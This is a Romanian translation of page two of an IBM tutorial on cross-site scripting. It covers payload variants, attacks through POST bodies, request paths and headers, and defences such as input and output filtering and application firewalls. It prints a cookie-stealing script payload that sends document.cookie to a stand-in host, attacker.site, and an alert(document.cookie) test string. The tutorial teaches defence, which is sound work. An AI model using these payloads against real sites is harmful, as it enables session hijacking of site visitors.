E-learn.ro
Panou utilizatori
Utilizator Parola
Creeaza cont nou    Recupereaza parola
Login
Newsletter
Introdu adresa ta de email
Inscrie-te
Inchide panoul de utilizatori
Add to Google

Tutoriale Javascript

Descarca toolbar

Toolbar E-learn.ro Facebook Twitter

WEB DEVELOPMENT  /  Javascript  /  Diverse (7)

Explicarea scriptarii cross-site

19.08.2008
Explicarea scriptarii cross-site

IBM Rational AppScan: Explicarea scriptarii cross-site
Invata cum lanseaza hackerii atacuri de scriptare cross-site (XSS), ce prejudicii produce acesta (si ce prejudicii nu produce), cum sa le detectezi, si cum sa iti feresti site-ul web si pe vizitatorii acestuia de aceste invazii malitioase impotriva intimitatii si a securitatii.

Total vizualizari: 5322 5322 afisari   |   Comentarii  0   |   Rating   |   (5 voturi)   |   Timp necesar: 25 min 25 min   |   Nivel de cunostiinte necesar: Mediu  Mediu

Sursa:  www.ibm.com/developerworks  
Autor:  Amit Klein
Adauga la tutoriale favorit Adauga la tutoriale favorite
Pagina:
« 1 2
comenteaza printeaza

Variatiuni pe aceeasi tema

Este posibila utilizarea a numeroase etichete HTML, pe langa < SCRIPT > pentru a rula JavaScript. De fapt, este posibil ca codul malitios JavaScript sa se gaseasca pe un alt server si sa il forteze pe client sa descarce scriptul si sa il execute, ceea ce poate fi util daca codul ce trebuie rulat este lung, sau atunci cand codul contine caractere speciale.

Cateva variatii pe marginea acestor posibilitati:
- In loc de < script>...< /script>, hackerii pot folosi < img src="javascript:...">. Aceasta este o solutie buna pentru site-urile care filtreaza eticheta HTML < script>.
- In loc de < script>...< /script>, este posibila utilizarea lui < script src="http://...">. Aceasta varianta se potriveste unei situatii in care codul JavaScript este prea lung, sau cand contine caractere nepermise.

Uneori, datele inglobate in pagina de raspuns se gasesc intr-un context HTML care nu este liber. In acest caz, este necesara "evadarea" in contextul liber, pentru a anexa apoi atacul XSS. De exemplu, daca datele sunt injectate ca valoare predefinita a unui camp ce face parte dintr-un formular HTML:

...
<input type=text name=user value="...">
...

Apoi, este necesara includerea lui "> in fata datelor pentru a nu rata evadarea in contextul HTML liber. Datele ar fi:

"><script>window.open("http://www.attacker.site/collect.cgi?cookie=
"+document.cookie)</script>

Iar HTML-ul rezultant ar fi:

...
<input type=text name=user value=""><script>window.open
("http://www.attacker.site/collect.cgi?cookie="+document.cookie)</script>">
...

Alte cai de a efectua atacuri XSS traditionale

Pana acum, am vazut ca un atac XSS poate avea loc intr-un parametru al unei solicitari GET care este trimisa inapoi in ecou catre raspuns de catre un script. Este insa de asemenea posibil ca atacul sa fie indeplinit cu o solicitare POST sau prin folosirea componentei de cale a solicitarii HTTP - sau chiar folosind anumite antete HTTP (cum ar fi Referer).

In special, componenta cale este utila in momentul in care o pagina de eroare returneaza o cale eronata. In acest caz, includerea scriptului malitios in cale o va executa de cele mai multe ori. Numeroase servere Web se dovedesc a fi vulnerabile la acest tip de atacuri.

Ce a mers prost?

Este important sa intelegi ca, desi site-ul web nu este direct afectat de catre acest atac (continua sa functioneze normal, codul malitios nu este executat asupra site-ului, nu itervine nici o conditie DoS, iar datele nu sunt direct manipulate si nici citite de pe acest site), exista totusi un neajuns in intimitatea pe care site-ul o ofera vizitatorulor sai, sau clientilor. Este exact ca un site care desfasoara o aplicatie cu insemne de securitate slabe, din care un atacator poate ghici insemnul de securitate al unui client si sa se dea drept acesta.

Punctul slab al aplicatiei este scriptul care raspunde in ecou cu parametrul sau, indiferent de valoare. Un script de calitate are masurile de siguranta are formatul adecvat, contine caractere permise, si asa mai departe. De obicei, nu exista nici un motiv intemeiat pentru ca un parametru valid sa includa etichete HTML sau cod JavaScript, iar acestea ar trebui inlaturate din parametru inainte ca acesta sa fie inglobat in raspuns sau inainte de a-l procesa in aplicatie, pentru a fi mai siguri.

Cum sa securizezi un site impotriva atacurilor XSS

Securizarea unui site impotriva atacurilor XSS este posibila in trei moduri:
1. Prin efectuarea unei filtrari in-house a intrarilor (numita uneori sanitarizarea intrarilor). Pentru fiecare intrare de utilizator - fie ea un parametru sau un antet HTTP - in fiecare script scris in-house, ar trebui aplicata filtrarea avansata impotriva etichetelor HTML, inclusiv a codului JavaScript.

De exemplu, scriptul welcome.cgi din studiul de caz anterior ar trebui sa filtreze eticheta < script> dupa ce incheie decodificarea parametrului name. Aceasta metoda are anumite dezavantaje majore, desi:
- Necesita din partea programatorului de aplicatie sa fie bine experimentat in probleme de securitate.
- Necesita din partea programatorului sa acopere toate sursele posibile de intrari (parametri de interogare, parametrii corpului solicitarilor POST, antete HTTP).
- Nu poate apara impotriva vulnerabilitatii din scripturi sau servere ce constituie o a treia parte. De exemplu, nu va oferi protectie impotriva problemelor din paginile de eroare de pe serverele web (care afiseaza calea sursei).

2. Efectuand o "filtrare a iesirilor," adica, filtrarea datelor de utilizator in momentul in care acestea sunt trimise inapoi catre browser, si nu atunci cand sunt primite de catre un script. Un exemplu bun ar fi un script care insereaza datele de intrare intr-o baza de date, iar apoi le prezinta. In acest caz, este important ca filtrul sa nu fie aplicat sirului de intrare original, ci numai versiunii de iesire. Lipsurile sunt similare celor pe care le implica filtrarea intrarilor.

3. Prin instalarea unei aplicatii fire-wall ca o a treia parte, care intercepteaza atacurile XSS inainte ca acestea sa ajunga la serverul Web si la scripturile vulnerabile, si le blocheaza. Firewall-urile de aplicatie pot acoperi toate metodele de intrare intr-un mod generic (inclusiv calea si antetele HTTP), fara a tine cont de script sau de calea din aplicatia in-house, un script prezent ca o a treia parte sau un script care nu descrie nici o resursa (de exemplu, unul conceput pentru a provoca un raspuns de 404 de la server).

Pentru fiecare sursa de intrari, firewall-ul de aplicatie inspecteaza datele pentru ca acestea sa nu cuprinda diverse tipare de etichete HTML si JavaScript. Daca se detecteaza vreo corespondenta, solicitarea este respinsa, iar intrarea malitioasa nu soseste la server.

Cai de a verifica daca site-ul tau este protejat impotriva XSS

Concluzia logica a securizarii site-ului este verificarea ipotezei ca acel site este la adapost de atacurileXSS. Exact ca securizarea unui site impotriva XSS, verificarea starii de securizare a unui site poate fi facuta manual (calea cea grea) sau prin utilizarea unei aplicatii Web automatizate- instrument de evaluare a vulnerabilitatii, care te scuteste de efortul de a verifica. Unealta cauta in site si apoi lanseaza toate variantele cunoscute impotriva tuturor script-urilor pe care le-a gasit incercand parametrii, antetele, si caile. In ambele metode, fiecare intrare in aplicatie (parametrii tuturor script-urilor, antetele HTTP, calea) este verificate cu cat mai multe variatii posibil, iar daca pagina de raspuns contine cod JavaScript intr-un context in care browserul il poate executa, atunci va fi depistata o vulnerabilitate XSS. De exemplu, la trimiterea acestui text:

<script>alert(document.cookie)</script>

catre fiecare parametru al fiecarui script (printr-un browser activat cu JavaScript pentru a dezvalui o vulnerabilitate XSS de cel mai simplu tip), browserul va deschide fereastra JavaScript Alert in cazul in care textul este interpretat ca fiind cod JavaScript. Desigur, exista mai multe variante; prin urmare, testarea unei singure variante este insuficienta. Si, dupa cum tocmai ai invatat, este posibila injectarea de JavaScript in diverse campuri ale solicitarii: parametri, antete HTTP, si cale. Totusi, in unele cazuri (in special antetul HTTP Referer), este incomoda finalizarea unui atac prin folosirea unui browser.

Sumar

Scriptarea cross-site este unul dintre cele mai raspandite atacuri la nivel de aplicatie pe care il folosesc hackerii pentru a se furisa in aplicatiile Web, dar si unul dintre cele mai periculoase. Este un atac la intimitatea clientilor unui anumit site Web, care poate duce la o incalcare totala a securitatii in momentul in care detaliile clientului sunt furate sau manipulate. Din pacate, dupa cum explica si acest articol, acest lucru se realizeaza cel mai adesea fara stirea clientului sau a organizatiei care se afla sub atac.

Pentru ca site-urile Web sa nu mai fie vulnerabile la aceste acte malitioase, este esential ca organizatia sa implementeze strategii de securitate, atat online cat si offline. Aceasta presupune folosirea unei unelte de evaluare automatizata a vulnerabilitatii care poate efectua teste pentru toate vulnerabilitatile web si cele specifice aplicatiilor raspandite (cum ar fi scriptarea cross-site) pe un site. Pentru o aparare online totala, este de asemenea vitala instalarea unei aplicatii firewall care sa poata detecta si apara impotriva oricarui tip de manipulare asupra codului si a continuturilor care se afla pe sau in spatele serverelor Web.


Pagina:
« 1 2
comenteaza printeaza
Alte tutoriale Javascript:
Noteaza acest tutorial
Rating tutorial
 
(5 voturi)
Pentru a nota acest tutorial, trebuie sa fii logat!
Posteaza un comentariu
Pentru a posta un comentariu, trebuie sa fii logat!
0 TOP UTILIZATORI* 0 0
Tutoriale scrise de claibornelara
claibornelara Rang utilizator claibornelara - Incepator
5190
Tutoriale scrise de mcuemica
mcuemica Rang utilizator mcuemica - Incepator
5145
Tutoriale scrise de ellarichards
ellarichards Rang utilizator ellarichards - Incepator
4995
Tutoriale scrise de emonclercheap
emonclercheap Rang utilizator emonclercheap - Incepator
4975
Tutoriale scrise de beacherrosa
beacherrosa Rang utilizator beacherrosa - Incepator
4735
* Acest top reprezinta punctajele acumulate in ultimele 30 de zile.
Word SWF Ruby on Rails Flash StyleSheet Powerpoint SEO Vista Excel Dreamweaver Verilog Photoshop Illustrator Fotografie RoR HTML JSON Action Script Bridge Sony Vegas Outlook PHP Javascript Gimp Fireworks AJAX MySQL Lightroom COREL DRAW Java CSS XHTML Swift 3D PSD Python XML
Promovare:
Daca faci parte din comunitatea E-learn.ro si doresti promovarea acesteia, poti accesa pagina de promovare.
Arhiva newsletter:
Daca ai ratat un numar mai vechi, sau vrei sa revezi care au fost noutatile E-learn.ro la un moment dat, poti accesa arhiva de newslettere.
  Copyright © 2008-2013 E-LEARN.ro. Toate drepturile rezervate. Termeni si conditii.
Conceput si realizat de Neokinetics Software